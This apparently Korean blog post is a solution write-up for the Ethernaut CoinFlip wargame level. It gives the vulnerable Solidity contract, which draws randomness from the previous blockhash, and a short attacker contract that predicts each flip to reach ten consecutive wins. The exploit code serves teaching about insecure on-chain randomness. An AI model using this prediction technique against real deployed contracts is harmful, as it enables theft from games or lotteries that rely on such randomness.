반응형
문제
consecutiveWins >= 10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
문제해결
Generating random numbers in solidity can be tricky.
contract CoinFlipSolv {
address target;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = _target;
}
function flip() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(target).flip(side);
}
}
반응형
'blockchain' 카테고리의 다른 글
[ethernaut] Telephone (0) | 2024.09.01 |
---|---|
[ethernaut] Fallout (0) | 2023.04.05 |
[ethernaut] Fallback (0) | 2023.04.02 |
[ethernaut] Hello Ethernaut (0) | 2023.04.02 |
remix - Deploy & At Address (0) | 2023.03.18 |